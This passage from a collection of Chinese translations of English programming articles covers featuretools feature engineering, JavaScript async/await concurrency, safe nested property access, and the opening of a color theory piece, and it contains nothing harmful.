来说，并不存在唯一的索引。当我们向实体集添加实体时，我们需要把参数 `make_index` 设置为 `True`( `make_index = True` )，同时为索引指定好名称。此外，虽然 featuretools 会自动推断实体中的每个列的数据类型,我们也可以将一个列类型的字典传递给参数 `variable_types` 来进行数据类型重写。\n\n```python\n# 从付款 dataframe 中创建一个实体\n# 该实体还没有一个唯一的索引\nes = es.entity_from_dataframe(entity_id = 'payments', \n                              dataframe = payments,\n                              variable_types = {'missed': ft.variable_types.Categorical},\n                              make_index = True,\n                              index = 'payment_id',\n                              time_index = 'payment_date')\n```\n\n对于这个 dataframe 来说，即使 `missed` 是一个整型数据，这不是一个[数值变量](https://socratic.org/questions/what-is-a-numerical-variable-and-what-is-a-categorical-variable)，因为它只能接受两个离散值，所以我们告诉 featuretools 将它是为一个分类变量。在向实体集添加了 dataframs 之后，我们将检查其中的任何一个：\n\n![](https://cdn-images-1.medium.com/max/800/1*DZ44KuggN_4jWKwuhrpCaw.png)\n\n我们指定的修改可以正确地推断列类型。接下来，我们需要指定实体集中的表是如何进行关联的。\n\n#### 表关系\n\n考虑两个表之间的**关系**的最佳方式是[父亲与孩子的类比](https://stackoverflow.com/questions/7880921/what-is-par-table-and-child-table-in-database)。这是一对多的关系:每个父亲可以有多个孩子。在表领域中，父亲在每个父表中都有一行，但是子表中可能有多个行对应于同一个父亲的多个孩子。\n\n例如，在我们的数据集中，`clients` dataframe 是 `loans` dataframe 的父亲。每个客户在 `clients` 中只有一行，但在 `loans` 中可能有多行。同样， `loans` 是 `payments` 的父亲，因为每笔贷款都有多个支付。父亲通过共享变量与孩子相连。当我们执行聚合时，我们将子表按父变量分组，并计算每个父表的子表的统计信息。\n\n要[在 featuretools 中格式化关系](https://docs.featuretools.com/loading_data/using_entitysets.html#add-a-relationship)，我们只需指定将两个表链接在一起的变量。 `clients` 和 `loans` 表通过 `loan_id` 变量链接， `loans` 和 `payments` 通过 `loan_id` 联系在一起。创建关系并将其添加到实体集的语法如下所示:\n\n```python\n# 客户与先前贷款的关系\nr_client_previous = ft.Relationship(es['clients']['client_id'],\n                                    es['loans']['client_id'])\n\n# 将关系添加到实体集\nes = es.add_relationship(r_client_previous)\n\n# 以前的贷款和以前的付款之间的关系\nr_payments = ft.Relationship(es['loans']['loan_id'],\n                                      es['payments']['loan_id'])\n\n# 将关系添加到实体集\nes = es.add_relationship(r_payments)\n\nes\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*W_jS8Z4Ym5zAFTdjHki1ig.png)\n\n实体集现在包含三个实体（或者说是表）和连接这些实体的关系。在添加实体和对关系形式化之后，我们的实体集就准备完成了，我们接下来可以准备创建特征。\n\n#### 特征基元\n\n在深入了解特性合成之前，我们需要了解[特征基元](https://docs.featuretools.com/automated_feature_engineering/primartives.html)。我们已经知道它们是什么了，但是我们只是用不同的名字称呼它们！这些是我们用来形成新特征的基本操作：\n\n*   聚合：通过父节点对子节点（一对多）关系完成的操作，并计算子节点的统计信息。一个例子是通过 `client_id` 将 `loan` 表分组，并为每个客户机找到最大的贷款金额。\n*   转换：在单个表上对一个或多个列执行的操作。举个例子，取一个表中两个列之间的差值，或者取列的绝对值。\n\n新特性是在 featruetools 中创建的，使用这些特征基元本身或叠加多个特征基元。下面是 featuretools 中的一些特征基元列表(我们还可以[定义自定义特征基元](https://docs.featuretools.com/guides/advanced_custom_basics.html)：\n\n![](https://cdn-images-1.medium.com/max/800/1*_p-HwN54IjLvmSSlkkazUQ.png)\n\n特征基元\n\n这些基元可以自己使用或组合来创建特征。要使用指定的基元，我们使用 `ft.dfs` 函数（代表深度特征合成）。我们传入 `实体集`、`目标实体`（这两个参数是我们想要加入特征的表）以及 `trans_primitives` 参数（用于转换）和 `agg_primitives` 参数（用于聚合）：\n\n```python\n# 使用指定的基元创建新特征\nfeatures, feature_names = ft.dfs(entityset = es, target_entity = 'clients', \n                                 agg_primitives = ['mean', 'max', 'percent_true', 'last'],\n                                 trans_primitives = ['years', 'month', 'subtract', 'divide'])\n```\n\n以上函数返回结果是每个客户的新特征 dataframe (因为我们把客户定义为`目标实体`)。例如，我们有每个客户加入的月份，这个月份是一个转换特性基元：\n\n![](https://cdn-images-1.medium.com/max/800/1*gEQkpyTDxXz21_gUPeNlMQ.png)\n\n我们还有一些聚合基元，比如每个客户的平均支付金额：\n\n![](https://cdn-images-1.medium.com/max/800/1*7aOkE5N-WCNQHJi1qBcqjQ.png)\n\n尽管我们只指定了很少一部分的特征基元，但是 featuretools 通过组合和叠加这些基元创建了许多新特征。\n\n![](https://cdn-images-1.medium.com/max/800/1*q24CTYC4x7fHj0YFwdusoQ.png)\n\n完整的 dataframe 有793列新特性！\n\n#### 深度特征合成\n\n现在，我们已经准备好了理解深度特征合成(deep feature synthesis, dfs)的所有部分。事实上，我们已经在前面的函数调用中执行了 dfs 函数！深度特性只是将多个特征基元叠加的特性，而 dfs 是生成这些特性的过程的名称。深度特征的深度是创建该特性所需的特征数量。\n\n例如，`MEAN(payments.payment_amount)` 列是一个深度为 1 的特征，因为它是使用单个聚合创建的。深度为 2 的特征是 `LAST(loans(MEAN(payments.payment_amount))` ，这是通过叠加两个聚合而成的： LAST(most recent) 在均值之上。这表示每个客户最近一次贷款的平均支付金额。\n\n![](https://cdn-images-1.medium.com/max/800/1*y28-ibs-ZCpCvavVPmmZAw.png)\n\n我们可以将特征叠加到任何我们想要的深度，但是在实践中，我从来没有超过 2 的深度。在这之后，这些特征就很难解释了，但我鼓励有兴趣的人尝试[“深入研究”](http://knowyourmeme.com/memes/we-needgo-deep)。\n\n* * *\n\n我们不必手工指定特征基元，而是可以让 featuretools 自动为我们选择特性。为此，我们使用相同的 `ft.dfs` 函数调用，但不传递任何特征基元:\n\n```python\n# 执行深度特征合成而不指定特征基元。\nfeatures, feature_names = ft.dfs(entityset=es, target_entity='clients', \n                                 max_depth = 2)\n\nfeatures.head()\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*tewxbRVcXb_weoy_g6EfkA.png)\n\nFeaturetools 已经为我们构建了许多新的特征供我们使用。虽然这个过程会自动创建新特征，但它不会取代数据科学家，因为我们仍然需要弄清楚如何处理所有这些特征。例如，如果我们的目标是预测客户是否会偿还贷款，我们可以查找与特定结果最相关的特征。此外，如果我们有特殊领域知识，我们可以使用它来选择具有候选特征的特定特征基元或[种子深度特征合成](https://docs.featuretools.com/guides/tuning_dfs.html)。\n\n#### 接下来的步骤\n\n自动化的特征工程解决了一个问题，但却创造了另一个问题：创造出太多的特征。虽然说在确定好一个模型之前很难说这些特征中哪些是重要的，但很可能并不是所有的特征都与我们想要训练的任务相关。而且，[拥有太多特征](https://pdfs.semanticscholar.org/a83b/ddb34618cc68f1014ca12eef7f537825d104.pdf)可能会让模型的表现下降，因为在训练的过程中一些不太有用的特征会淹没那些更为重要的特征。\n\n太多特征的问题被称为[维数的诅咒](https://en.wikipedia.org/wiki/Curse_of_dimensionality#Machine_learning)。随着特征数量的增加（数据的维数增加），模型越来越难以了解特征和目标之间的映射。事实上，模型执行良好所需的数据量（与特性的数量成指数比例）(https://stats.stackexchange.com/a/65380/157316)。\n\n可以化解维数诅咒的是[特征削减（也称为特征选择）](https://machinelearningmastery.com/an-introduction-to-feature-selection/)：移除不相关特性的过程。这可以采取多种形式：主成分分析(PCA)，使用 SelectKBest 类，使用从模型引入的特征，或者使用深度神经网络进行自动编码。当然，[特征削减](https://en.wikipedia.org/wiki/Feature_selection)则是另一篇文章的另一个主题了。现在，我们知道，我们可以使用 featuretools ，以最少的工作量从许多表中创建大量的特性！\n\n### 结论\n\n像机器学习领域很多的话题一样，使用 feautretools 的自动特征工程是一个建立在简单想法之上的复杂概念。使用实体集、实体和关系的概念，feautretools 可以执行深度特性合成来创建新特征。深度特征合成反过来又将特征基元堆叠起来 —— 也就是**聚合**，在表格之间建立起一对多的关系，同时进行**转换**，在单表中对一列或者多列应用，通过这些方法从很多的表格中构建出新的特征出来。\n\n请持续关注这篇文章，与此同时，阅读关于这个竞赛的介绍 [this introduction to get started](https://towardsdatascience.com/machine-learning-kaggle-competition-part-one-getting-started-32fb9ff47426)。我希望您现在可以使用自动化特征工程作为数据科学管道中的辅助工具。我们的模型将和我们提供的数据一样好，自动化的特征工程可以帮助使特征创建过程更有效。\n\n要获取更多关于特征工具的信息，包括这些工具的高级用法，可以查阅[在线文档](https://docs.featuretools.com/)。要查看特征工具如何在实践中应用，可以参见 [Feature Labs 的工作成果](https://www.featurelabs.com/)，这就是开发 featuretools 这个开源库的公司。\n\n我一如既往地欢迎各位的反馈和建设性的批评，你们可以在 Twitter [@koehrsen_will](http://twitter.com/koehrsen_will) 上与我进行交流。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/avoiding-the-async-await-hell.md",
    "content": "> * 原文地址：[How to escape async/await hell](https://medium.freecodecamp.org/avoiding-the-async-await-hell-c77a0fb71c4c)\n> * 原文作者：[Aditya Agarwal](https://medium.freecodecamp.org/@adityaa803?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/avoiding-the-async-await-hell.md](https://github.com/xitu/gold-miner/blob/master/TODO1/avoiding-the-async-await-hell.md)\n> * 译者：[Colafornia](https://github.com/Colafornia)\n> * 校对者：[Starriers](https://github.com/Starriers) [whuzxq](https://github.com/whuzxq)\n\n# 如何逃离 async/await 地狱\n\n![](http://o7ts2uaks.bkt.clouddn.com/1__3nDjjPTWn4ohLt96IcwCA.png)\n\nasync/await 将我们从回调地狱中解脱，但人们的滥用，导致了 async/await 地狱的诞生。\n\n本文将阐述什么是 async/await 地狱，以及逃离 async/await 地狱的几个方法。\n\n### 什么是 async/await 地狱\n\n进行 JavaScript 异步编程时，大家经常需要逐一编写多个复杂语句的代码，并都在调用语句前标注了 **await**。由于大多数情况下，一个语句并不依赖于前一个语句，但是你仍不得不等前一个语句完成，这会导致性能问题。\n\n### 一个 async/await 地狱示例\n\n思考一下，如果你需要写一段脚本预订一个披萨和一杯饮料。脚本可能会是这样的：\n\n```javascript\n(async () => {\n  const pizzaData = await getPizzaData()    // 异步调用\n  const drinkData = await getDrinkData()    // 异步调用\n  const chosenPizza = choosePizza()    // 同步调用\n  const chosenDrink = chooseDrink()    // 同步调用\n  await addPizzaToCart(chosenPizza)    // 异步调用\n  await addDrinkToCart(chosenDrink)    // 异步调用\n  orderItems()    // 异步调用\n})()\n```\n\n表面上看起来没什么问题，这段代码也可以执行。但是它并不是一个好的实现，因为它没有考虑并发性。让我们了解一下这段代码是怎么运行的，这样才可以确定问题所在。\n\n#### 解释\n\n我们将这段代码包裹在一个异步的 [IIFE 立即执行函数](https://developer.mozilla.org/en-US/docs/Glossary/IIFE) 中。准确的执行顺序如下：\n\n1.  获取披萨列表。\n2.  获取饮料列表。\n3.  从列表中选择一份披萨。\n4.  从列表中选择一杯饮料。\n5.  将选中披萨加入购物车。\n6.  将选中饮料加入购物车。\n7.  将购物车内物品下单。\n\n#### 哪里出问题了？\n\n如我之前所强调过的，所有语句都会逐一执行。此处并无并发操作。仔细想一下：为什么我们要在获取披萨列表完成后才去获取饮料列表呢？两个列表应该一起获取。但是我们在选择披萨时，确实需要在这之前已获取饮料列表。饮料同理。\n\n因此，我们可以总结出，披萨相关的事务与饮料相关事务可以并发发生，但是披萨相关事务内部的独立步骤需要继发进行（逐一进行）。\n\n#### 另一个糟糕实现的例子\n\n这段代码将获取购物车内的东西，并发起一个请求下单。\n\n```javascript\nasync function orderItems() {\n  const items = await getCartItems()    // 异步调用\n  const noOfItems = items.length\n  for(var i = 0; i < noOfItems; i++) {\n    await sendRequest(items[i])    // 异步调用\n  }\n}\n```\n\n在这种情况下，for 循环需要等待 `sendRequest()` 函数完成后才能进行下一个迭代。事实上，我们不需要等待。我们想要尽快发送所有请求，然后等待所有请求执行完毕。\n\n希望现在你可以更理解 async/await 地狱是什么，以及它对你的程序性能影响有多么严重。现在，我想问你一个问题。\n\n### 如果我们忘了 await 关键字会怎样？\n\n如果你在调用一个异步函数时忘了使用 **await** 关键字，该函数就会立即开始执行。这意味着 await 对于函数的执行来说不是必需的。异步函数会返回一个 promise 对象，你可以稍后使用这个 promise。\n\n```javascript\n(async () => {\n  const value = doSomeAsyncTask()\n  console.log(value) // 一个未完成的 promise\n})()\n```\n\n不使用 await 调用异步函数的另一个后果是，编译器不知道你想等待这个函数执行完成。因此编译器将在异步任务完成之前就退出程序。因此我们确实需要 await 关键字。\n\npromise 有一个好玩的特性，你可以在一行代码中得到一个 promise 对象，在另一行代码中得到这个 promise 的执行结果。这是逃离 async/await 地狱的关键。\n\n```javascript\n(async () => {\n  const promise = doSomeAsyncTask()\n  const value = await promise\n  console.log(value) // 实际的返回值\n})()\n```\n\n如你所见，`doSomeAsyncTask()` 返回了一个 promise 对象。此时 `doSomeAsyncTask()` 开始执行。我们使用 await 关键字来获取 promise 对象的执行结果，并告诉 JavaScript 不要立即执行下一行代码，而是等待 promise 执行完成再执行下一行代码。\n\n### 如何逃离 async/await 地狱？\n\n你需要遵循以下步骤：\n\n#### 找到依赖其它语句执行结果的语句\n\n在第一个示例中，我们选择了一份披萨和一杯饮料。可以推断出在选择一份披萨前，我们需要先获得所有披萨的列表。在将选择的披萨加入购物车之前，我们需要先选择一份披萨。因此我们可以说这三个步骤是互相依赖的。我们不能在前一件事完成之前做下一件事。\n\n但是如果把问题看得更广泛一些，我们可以发现选披萨并不依赖选饮料，因此我们可以并行选择。这方面，机器可以比我们做的更好。\n\n因此我们已经发现有一些语句依赖于其它语句的执行，有些则不依赖。\n\n#### 将互相依赖的语句包裹在 async 函数中\n\n如我们所见，选择披萨包括了如获取披萨列表，选择披萨，将所选披萨加入购物车等依赖语句。我们应该将这些语句包裹在一个 async 函数中。这样我们得到了两个 async 函数，`selectPizza()` 和 `selectDrink()`。\n\n#### 并发执行 async 函数\n\n然后我们可以利用事件循环并发执行这些非阻塞 async 函数。有两种常用模式，分别是**优先返回 promises** 和使用**Promise.all 方法**。\n\n### 让我们来修改一下示例\n\n遵循以下三个步骤，将它们应用到我们的示例中。\n\n```javascript\nasync function selectPizza() {\n  const pizzaData = await getPizzaData()    // 异步调用\n  const chosenPizza = choosePizza()    // 同步调用\n  await addPizzaToCart(chosenPizza)    // 异步调用\n}\n\nasync function selectDrink() {\n  const drinkData = await getDrinkData()    // 异步调用\n  const chosenDrink = chooseDrink()    // 同步调用\n  await addDrinkToCart(chosenDrink)    // 异步调用\n}\n\n(async () => {\n  const pizzaPromise = selectPizza()\n  const drinkPromise = selectDrink()\n  await pizzaPromise\n  await drinkPromise\n  orderItems()    // 异步调用\n})()\n\n// 我更喜欢这种方法\n\n(async () => {\n  Promise.all([selectPizza(), selectDrink()]).then(orderItems)   // 异步调用\n})()\n```\n\n现在我们将语句分组到两个函数中。在函数内部，每个语句依赖于前一个语句的执行。然后我们并发执行两个函数 `selectPizza()` 和 `selectDrink()`。\n\n在第二个例子中，我们需要处理未知数量的 promise。解决这种情况很容易：创建一个数组，将 promise push 进去。然后使用 `Promise.all()` 我们就可以并行等待所有的 promise 处理完毕。\n\n```javascript\nasync function orderItems() {\n  const items = await getCartItems()    // 异步调用\n  const noOfItems = items.length\n  const promises = []\n  for(var i = 0; i < noOfItems; i++) {\n    const orderPromise = sendRequest(items[i])    // 异步调用\n    promises.push(orderPromise)    // 同步调用\n  }\n  await Promise.all(promises)    // 异步调用\n}\n```\n\n希望本文可以帮你提高 async/await 的基础水平并提升应用的性能。\n\n如果喜欢本文，请点个喜欢。\n\n也请分享到 Fb 和 Twitter。如果想获取文章更新，可以在 [Twitter](https://twitter.com/dev__adi) 和 [Medium](https://medium.com/@adityaa803/) 上关注我。有任何问题可以在评论中指出。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/avoiding-those-dang-cannot-read-property-of-undefined-errors.md",
    "content": "> * 原文地址：[Avoiding those dang cannot read property of undefined errors](https://css-tricks.com/%E2%80%8B%E2%80%8Bavoiding-those-dang-cannot-read-property-of-undefined-errors/)\n> * 原文作者：[Adam Giese](https://css-tricks.com/author/thirdgoose/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/avoiding-those-dang-cannot-read-property-of-undefined-errors.md](https://github.com/xitu/gold-miner/blob/master/TODO1/avoiding-those-dang-cannot-read-property-of-undefined-errors.md)\n> * 译者：[Xcco](https://github.com/Xcco)\n> * 校对者：[hanxiansen](https://github.com/hanxiansen), [Mirosalva](https://github.com/Mirosalva)\n\n# 避免那些可恶的 \"cannot read property of undefined\" 错误\n\n`Uncaught TypeError: Cannot read property 'foo' of undefined.` 是一个我们在 JavaScript 开发中都遇到过的可怕错误。或许是某个 API 返回了意料外的空值，又或许是其它什么原因，这个错误是如此的普遍而广泛以至于我们无法判断。\n\n我最近遇到了一个问题，某一环境变量出于某种原因没有被加载，导致各种各样的报错夹杂着这个错误摆在我面前。不论什么原因，放着这个错误不处理都会是灾难性的。所以我们该怎么从源头阻止这个问题发生呢？\n\n让我们一起来找出解决方案。\n\n### 工具库\n\n如果你已经在项目里用到一些工具库，很有可能库里已经有了预防这个问题发生的函数。lodash 里的 `_.get`（[文档](https://lodash.com/docs/4.17.11#get)) 或者 Ramda 里的 `R.path`([文档](https://ramdajs.com/docs/#path)）都能确保你安全使用对象。  \n  \n如果你已经使用了工具库，那么这看起来已经是最简单的方法了。如果你没有使用工具库，继续读下去吧！\n\n### 使用 && 短路\n\nJavaScript 里有一个关于逻辑运算符的有趣事实就是它不总是返回布尔值。[根据说明](https://www.ecma-international.org/ecma-262/9.0/index.html#sec-binary-logical-operators)，『`&&` 或者 `||` 运算符的返回值并不一定是布尔值。而是两个操作表达式的其中之一。』  \n \n举个 `&&` 运算符的例子，如果第一个表达式的布尔值是 false，那么该值就会被返回。否则，第二个表达式的值就会被使用。这说明表达式 `0 && 1` 会返回 `0`（一个 false 值），而表达式 `2 && 3` 会返回 `3`。如果多个 `&&` 表达式连在一起，它们将会返回第一个 false 植或最后一个值。举个例子，`1 && 2 && 3 && null && 4` 会返回 `null`，而 `1 && 2 && 3` 会返回 `3`。\n\n那么如何安全的获取嵌套对象内的属性呢？JavaScript 里的逻辑运算符会『短路』。在这个 `&&` 的例子中，这表示表达式会在到达第一个假值时停下来。\n\n```\nconst foo = false && destroyAllHumans();\nconsole.log(foo); // false，人类安全了\n```\n\n在这个例子中，`destroyAllHumans` 不会被调用，因为 `&&` 停止了所有在 false 之后的运算\n\n这可以被用于安全地获取嵌套对象的属性。\n\n```\nconst meals = {\n  breakfast: null, // 我跳过了一天中最重要的一餐！ :(\n  lunch: {\n    protein: 'Chicken',\n    greens: 'Spinach',\n  },\n  dinner: {\n    protein: 'Soy',\n    greens: 'Kale',\n  },\n};\n\nconst breakfastProtein = meals.breakfast && meals.breakfast.protein; // null\nconst lunchProtein = meals.lunch && meals.lunch.protein; // 'Chicken'\n```\n\n除了简单，这个方法的一个主要优势就是在处理较少嵌套时十分简洁。然而，当访问深层的对象时，它会变得十分冗长。\n\n```\nconst favorites = {\n  video: {\n    movies: ['Casablanca', 'Citizen Kane', 'Gone With The Wind'],\n    shows: ['The Simpsons', 'Arrested Development'],\n    vlogs: null,\n  },\n  audio: {\n    podcasts: ['Shop Talk Show', 'CodePen Radio'],\n    audiobooks: null,\n  },\n  reading: null, // 开玩笑的 — 我热爱阅读\n};\n\nconst favoriteMovie = favorites.video && favorites.video.movies && favorites.video.movies[0];\n// Casablanca\nconst favoriteVlog = favorites.video && favorites.video.vlogs && favorites.video.vlogs[0];\n// null\n```\n\n对象嵌套的越深，它就变得越笨重。\n\n### 『或单元』\n\nOliver Steele 提出这个方法并且在他发布的博客里探究了更多的细节，[『单元第一章：或单元』](https://blog.osteele.com/2007/12/cheap-monads/)我会试着在这里给出一个简要的解释。\n\n```\nconst favoriteBook = ((favorites.reading||{}).books||[])[0]; // undefined\nconst favoriteAudiobook = ((favorites.audio||{}).audiobooks||[])[0]; // undefined\nconst favoritePodcast = ((favorites.audio||{}).podcasts||[])[0]; // 'Shop Talk Show'\n```\n\n与上面的短路例子类似，这个方法通过检查值是否为假来生效。如果值为假，它会尝试取得空对象的属性。在上面的例子中，favorites.reading 的值是 null，所以从一个空对象上获得books属性。这会返回一个 undefined 结果，所以0会被用于获取空数组中的成员。\n\n这个方法相较于 `&&` 方法的优势是它避免了属性名的重复。在深层嵌套的对象中，这会成为显著的优势。而主要的缺点在于可读性 — 这不是一个普通的模式，所以这或许需要阅读者花一点时间理解它是怎么运作的。\n\n### try/catch\n\nJavaScript 里的 `try...catch` 是另一个安全获取属性的方法。\n\n```\ntry {\n  console.log(favorites.reading.magazines[0]);\n} catch (error) {\n  console.log(\"No magazines have been favorited.\");\n}\n```\n\n不幸的是，在 JavaScript 里，`try...catch` 声明不是表达式，它们不会像某些语言里那样计算值。这导致不能用一个简洁的 try 声明来作为设置变量的方法。\n\n有一种选择就是在 `try...catch` 前定义一个 let 变量。\n\n```\nlet favoriteMagazine;\ntry { \n  favoriteMagazine = favorites.reading.magazines[0]; \n} catch (error) { \n  favoriteMagazine = null; /* 任意默认值都可以被使用 */\n};\n```\n\n虽然这很冗长，但这对设置单一变量起作用（就是说，如果变量还没有吓跑你的话）然而，把它们写在一块就会出问题。\n\n```\nlet favoriteMagazine, favoriteMovie, favoriteShow;\ntry {\n  favoriteMovie = favorites.video.movies[0];\n  favoriteShow = favorites.video.shows[0];\n  favoriteMagazine = favorites.reading.magazines[0];\n} catch (error) {\n  favoriteMagazine = null;\n  favoriteMovie = null;\n  favoriteShow = null;\n};\n\nconsole.log(favoriteMovie); // null\nconsole.log(favoriteShow); // null\nconsole.log(favoriteMagazine); // null\n```\n\n如果任意一个获取属性的尝试失败了，这会导致它们全部返回默认值。\n\n一个可选的方法是用一个可复用的工具函数封装 `try...catch`。\n\n```\nconst tryFn = (fn, fallback = null) => {\n  try {\n    return fn();\n  } catch (error) {\n    return fallback;\n  }\n} \n\nconst favoriteBook = tryFn(() => favorites.reading.book[0]); // null\nconst favoriteMovie = tryFn(() => favorites.video.movies[0]); // \"Casablanca\"\n```\n\n通过一个函数包裹获取对象属性的行为，你可以延后『不安全』的代码，并且把它传入 `try...catch`。\n\n这个方法的主要优势在于它十分自然地获取了属性。只要属性被封装在一个函数中，属性就可以被安全访问，同时可以为不存在的路径返回指定的默认值。\n\n### 与默认对象合并\n\n通过将对象与相近结构的『默认』对象合并，我们能确保获取属性的路径是安全的。\n\n```\nconst defaults = {\n  position: \"static\",\n  background: \"transparent\",\n  border: \"none\",\n};\n\nconst settings = {\n  border: \"1px solid blue\",\n};\n\nconst merged = { ...defaults, ...settings };\n\nconsole.log(merged); \n/*\n  {\n    position: \"static\",\n    background: \"transparent\",\n    border: \"1px solid blue\"\n  }\n*/\n```\n\n然而，需要注意并非单个属性，而是整个嵌套对象都会被覆写。\n\n```\nconst defaults = {\n  font: {\n    family: \"Helvetica\",\n    size: \"12px\",\n    style: \"normal\",\n  },        \n  color: \"black\",\n};\n\nconst settings = {\n  font: {\n    size: \"16px\",\n  }\n};\n\nconst merged = { \n  ...defaults, \n  ...settings,\n};\n\nconsole.log(merged.font.size); // \"16px\"\nconsole.log(merged.font.style); // undefined\n```\n\n不！为了解决这点，我们需要类似地复制每一个嵌套对象。\n\n```\nconst merged = { \n  ...defaults, \n  ...settings,\n  font: {\n    ...defaults.font,\n    ...settings.font,\n  },\n};\n\nconsole.log(merged.font.size); // \"16px\"\nconsole.log(merged.font.style); // \"normal\"\n```\n\n好多了！\n\n这种模式在这类插件或组件中很常见，它们接受一个包含默认值得大型可配置对象。\n\n这种方式的一个额外好处就是通过编写一个默认对象，我们引入了文档来介绍这个对象。不幸的是，按照数据的大小和结构，复制每一个嵌套对象进行合并有可能造成污染。\n\n### 未来：可选链式调用\n\n目前 TC39 提案中有一个功能叫『可选链式调用』。这个新的运算符看起来像这样：\n\n```\nconsole.log(favorites?.video?.shows[0]); // 'The Simpsons'\nconsole.log(favorites?.audio?.audiobooks[0]); // undefined\n```\n\n`?.` 运算符通过短路方式运作：如果 `?.` 运算符的左侧计算值为 `null` 或者 `undefined`，则整个表达式会返回 `undefined` 并且右侧不会被计算。\n\n为了有一个自定义的默认值，我们可以使用 `||` 运算符以应对未定义的情况。\n\n```\nconsole.log(favorites?.audio?.audiobooks[0] || \"The Hobbit\");\n```\n\n### 我们该使用哪一种方法？\n\n答案或许你已经猜到了，正是那句老话『看情况而定』。如果可选链式调用已经被加到语言中并且获得了必要的浏览器支持，这或许是最好的选择。然而，如果你不来自未来，那么你有更多需要考虑的。你在使用工具库吗？你的对象嵌套有多深？你是否需要指定默认值？我们需要根据不同的场景采用不同的方法。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/basic-color-theory-for-web-developers.md",
    "content": "> * 原文地址：[Basic Color Theory for Web Developers](https://dev.to/nzonnenberg/basic-color-theory-for-web-developers-15a0)\n> * 原文作者：[Nicole Zonnenberg](https://dev.to/nzonnenberg)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/basic-color-theory-for-web-developers.md](https://github.com/xitu/gold-miner/blob/master/TODO1/basic-color-theory-for-web-developers.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[Mcskiller](https://github.com/Mcskiller)，[kasheemlew](https://github.com/kasheemlew)\n\n# Web 开发者需要了解的基础色彩理论\n\n如果你上过艺术课，一定会发现基本上所有课堂墙上都挂了一个“色轮”。在课堂上，可能需要你混合各种颜色，画出你自己的作品。\n\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--OE8uCwmx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/cgr160zn3evkbry9h3l7.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--OE8uCwmx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/cgr160zn3evkbry9h3l7.png)\n\n在小学美术课上应该讲过**一次色**（primary color，即三原色）与**二次色**（seondary color，间色），如果你在小学之后还上过美术课，应该还了解过**三次色**（tertiary 